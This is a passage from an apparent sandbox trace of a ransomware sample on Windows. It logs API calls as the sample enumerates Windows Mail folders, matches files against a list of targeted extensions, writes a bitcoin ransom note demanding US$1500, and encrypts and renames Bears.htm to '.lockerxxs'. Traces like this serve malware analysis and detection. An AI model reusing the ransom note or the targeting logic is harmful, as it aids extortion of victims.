HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\" [0084.941] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\") returned="" [0084.941] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\HOW TO DECRYPT FILES.txt" [0084.941] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\how to decrypt files.txt")) returned 0x2020 [0084.941] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\", lpString2="edbres00002.jrs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\edbres00002.jrs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\edbres00002.jrs" [0084.941] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\edbres00002.jrs", pszSpec="*.ems") returned 0 [0084.941] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e09fe0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e09fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf67dcad6, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x104, dwReserved0=0x45004c, dwReserved1=0x2e0053, cFileName="oeold.xml", cAlternateFileName="")) returned 1 [0084.941] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0084.942] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="oeold.xml") returned -1 [0084.942] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="oeold.xml") returned -1 [0084.942] lstrcmpiA (lpString1="", lpString2="oeold.xml") returned -1 [0084.942] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\edbres00002.jrs") returned="edbres00002.jrs" [0084.942] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\" [0084.942] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\") returned="" [0084.942] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\HOW TO DECRYPT FILES.txt" [0084.942] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\how to decrypt files.txt")) returned 0x2020 [0084.942] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\", lpString2="oeold.xml" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\oeold.xml") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\oeold.xml" [0084.942] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\oeold.xml", pszSpec="*.ems") returned 0 [0084.942] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f3aae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf690d5d8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x45004c, dwReserved1=0x2e0053, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1 [0084.942] lstrcmpA (lpString1=".", lpString2="Stationery") returned -1 [0084.942] lstrcmpA (lpString1="..", lpString2="Stationery") returned -1 [0084.942] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\oeold.xml") returned="oeold.xml" [0084.942] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\", lpString2="Stationery" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery" [0084.942] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f3aae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf690d5d8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f370, dwReserved1=0x5035ce, cFileName=".", cAlternateFileName="")) returned 0x502698 [0084.945] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0084.945] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f3aae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf690d5d8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x500000, cFileName="..", cAlternateFileName="")) returned 1 [0084.945] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0084.945] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0084.945] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e09fe0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e09fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xcdfff30e, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xff, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Bears.htm", cAlternateFileName="")) returned 1 [0084.945] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0084.945] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Bears.htm") returned 1 [0084.945] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Bears.htm") returned 1 [0084.945] lstrcmpiA (lpString1="", lpString2="Bears.htm") returned -1 [0084.945] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\*.*") returned="*.*" [0084.945] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\" [0084.945] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\") returned="" [0084.945] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HOW TO DECRYPT FILES.txt" [0084.945] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\how to decrypt files.txt")) returned 0xffffffff [0084.946] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x98 [0084.947] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0084.947] WriteFile (in: hFile=0x98, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0084.949] SetFileTime (hFile=0x98, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0084.949] CloseHandle (hObject=0x98) returned 1 [0084.949] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\", lpString2="Bears.htm" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.htm") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.htm" [0084.949] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.htm", pszSpec="*.ems") returned 0 [0084.949] lstrlenA (lpString="*.ems") returned 5 [0084.949] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.htm", pszSpec="*.db") returned 0 [0084.949] lstrlenA (lpString="*.db") returned 4 [0084.949] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.htm", pszSpec="*.dbf") returned 0 [0084.949] lstrlenA (lpString="*.dbf") returned 5 [0084.949] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.htm", pszSpec="*.myox") returned 0 [0084.949] lstrlenA (lpString="*.myox") returned 6 [0084.949] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.htm", pszSpec="*.myo") returned 0 [0084.950] lstrlenA (lpString="*.myo") returned 5 [0084.950] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.htm", pszSpec="*.qbw") returned 0 [0084.950] lstrlenA (lpString="*.qbw") returned 5 [0084.950] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.htm", pszSpec="*.qbb") returned 0 [0084.950] lstrlenA (lpString="*.qbb") returned 5 [0084.950] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.htm", pszSpec="*.qbm") returned 0 [0084.950] lstrlenA (lpString="*.qbm") returned 5 [0084.950] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.htm", pszSpec="*.qbo") returned 0 [0084.950] lstrlenA (lpString="*.qbo") returned 5 [0084.950] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.htm", pszSpec="*.qbx") returned 0 [0084.950] lstrlenA (lpString="*.qbx") returned 5 [0084.950] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.htm", pszSpec="*.qba") returned 0 [0084.950] lstrlenA (lpString="*.qba") returned 5 [0084.950] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.htm", pszSpec="*.qby") returned 0 [0084.950] lstrlenA (lpString="*.qby") returned 5 [0084.950] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.htm", pszSpec="*.qbj") returned 0 [0084.950] lstrlenA (lpString="*.qbj") returned 5 [0084.950] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.htm", pszSpec="*.ofx") returned 0 [0084.950] lstrlenA (lpString="*.ofx") returned 5 [0084.950] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.htm", pszSpec="*.qif") returned 0 [0084.950] lstrlenA (lpString="*.qif") returned 5 [0084.951] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.htm", pszSpec="*.mye") returned 0 [0084.951] lstrlenA (lpString="*.mye") returned 5 [0084.951] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.htm", pszSpec="*.mbox") returned 0 [0084.951] lstrlenA (lpString="*.mbox") returned 6 [0084.951] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.htm", pszSpec="*.eml") returned 0 [0084.951] lstrlenA (lpString="*.eml") returned 5 [0084.951] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.htm", pszSpec="*.pst") returned 0 [0084.951] lstrlenA (lpString="*.pst") returned 5 [0084.951] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.htm", pszSpec="*.ost") returned 0 [0084.951] lstrlenA (lpString="*.ost") returned 5 [0084.951] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.htm", pszSpec="*.idx") returned 0 [0084.951] lstrlenA (lpString="*.idx") returned 5 [0084.951] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.htm", pszSpec="*.dbx") returned 0 [0084.951] lstrlenA (lpString="*.dbx") returned 5 [0084.951] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.htm", pszSpec="*.sql") returned 0 [0084.951] lstrlenA (lpString="*.sql") returned 5 [0084.951] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.htm", pszSpec="*.mdb") returned 0 [0084.951] lstrlenA (lpString="*.mdb") returned 5 [0084.951] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.htm", pszSpec="*.fdb") returned 0 [0084.951] lstrlenA (lpString="*.fdb") returned 5 [0084.951] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.htm", pszSpec="*.wab") returned 0 [0084.951] lstrlenA (lpString="*.wab") returned 5 [0084.951] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.htm", pszSpec="*.dat") returned 0 [0084.951] lstrlenA (lpString="*.dat") returned 5 [0084.952] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.htm", pszSpec="*.txt") returned 0 [0084.952] lstrlenA (lpString="*.txt") returned 5 [0084.952] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.htm", pszSpec="*.jpeg") returned 0 [0084.952] lstrlenA (lpString="*.jpeg") returned 6 [0084.952] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.htm", pszSpec="*.jpg") returned 0 [0084.952] lstrlenA (lpString="*.jpg") returned 5 [0084.952] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.htm", pszSpec="*.png") returned 0 [0084.952] lstrlenA (lpString="*.png") returned 5 [0084.952] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.htm", pszSpec="*.php") returned 0 [0084.952] lstrlenA (lpString="*.php") returned 5 [0084.952] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.htm", pszSpec="*.cs") returned 0 [0084.952] lstrlenA (lpString="*.cs") returned 4 [0084.952] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.htm", pszSpec="*.cpp") returned 0 [0084.952] lstrlenA (lpString="*.cpp") returned 5 [0084.952] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.htm", pszSpec="*.rar") returned 0 [0084.952] lstrlenA (lpString="*.rar") returned 5 [0084.952] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.htm", pszSpec="*.zip") returned 0 [0084.952] lstrlenA (lpString="*.zip") returned 5 [0084.952] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.htm", pszSpec="*.html") returned 0 [0084.952] lstrlenA (lpString="*.html") returned 6 [0084.952] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.htm", pszSpec="*.htm") returned 1 [0084.953] lstrlenA (lpString="*.htm") returned 5 [0084.953] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.htm" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.htm") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.htm" [0084.953] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.htm" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.htm") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.htm" [0084.953] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.htm", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.htm.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.htm." [0084.953] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.htm.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.htm.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.htm.lockerxxs" [0084.953] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\bears.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x98 [0084.955] GetFileSize (in: hFile=0x98, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xff [0084.955] GetFileTime (in: hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x28e09fe0, dwHighDateTime=0x1d2dd9c), lpLastAccessTime=0x407536*(dwLowDateTime=0x28e09fe0, dwHighDateTime=0x1d2dd9c), lpLastWriteTime=0x40753e*(dwLowDateTime=0xcdfff30e, dwHighDateTime=0x1ca040d)) returned 1 [0084.955] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.955] ReadFile (in: hFile=0x98, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0xd9, lpOverlapped=0x0) returned 1 [0084.956] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.htm") returned="Bears.htm" [0084.956] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.956] WriteFile (in: hFile=0x98, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0xd9, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0xd9, lpOverlapped=0x0) returned 1 [0084.956] SetFileTime (hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0084.956] CloseHandle (hObject=0x98) returned 1 [0084.957] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\bears.htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.htm.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\bears.htm.lockerxxs")) returned 1 [0084.957] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e09fe0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e09fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaa352261, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x432, dwReserved0=0x27000324, dwReserved1=0x4e00c4, cFileName="Bears.jpg", cAlternateFileName="")) returned 1 [0084.958] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0084.958] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Bears.jpg") returned 1 [0084.958] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Bears.jpg") returned 1 [0084.958] lstrcmpiA (lpString1="", lpString2="Bears.jpg") returned -1 [0084.958] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.htm") returned="Bears.htm" [0084.958] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\") 